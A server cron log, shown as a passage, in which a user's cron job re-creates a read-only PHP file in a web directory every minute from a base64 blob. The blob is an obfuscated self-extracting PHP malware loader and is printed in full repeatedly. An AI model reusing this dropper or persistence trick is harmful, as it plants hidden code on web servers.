&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:00:01 server CROND[14380]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 02:00:01 server CROND[14379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:00:01 server CROND[14383]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 14 02:00:01 server CROND[14382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:00:01 server CROND[14384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:00:01 server CROND[14385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:01:01 server CROND[15343]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 02:01:01 server CROND[15344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:01:01 server run-parts(/etc/cron.hourly)[15343]: starting 0anacron
Nov 14 02:01:01 server anacron[15356]: Anacron started on 2025-11-14
Nov 14 02:01:01 server anacron[15356]: Normal exit (0 jobs run)
Nov 14 02:01:01 server run-parts(/etc/cron.hourly)[15358]: finished 0anacron
Nov 14 02:02:01 server CROND[16209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:03:01 server CROND[17076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:04:01 server CROND[17951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:05:01 server CROND[18818]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 02:05:01 server CROND[18817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:05:01 server CROND[18819]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 02:05:01 server CROND[18823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:05:01 server CROND[18824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:06:01 server CROND[19883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:07:01 server CROND[20749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:08:01 server CROND[21605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:09:01 server CROND[22466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:09:01 server CROND[22467]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:10:01 server CROND[23277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:10:01 server CROND[23278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:10:01 server CROND[23281]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:10:01 server CROND[23283]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:11:01 server CROND[24306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
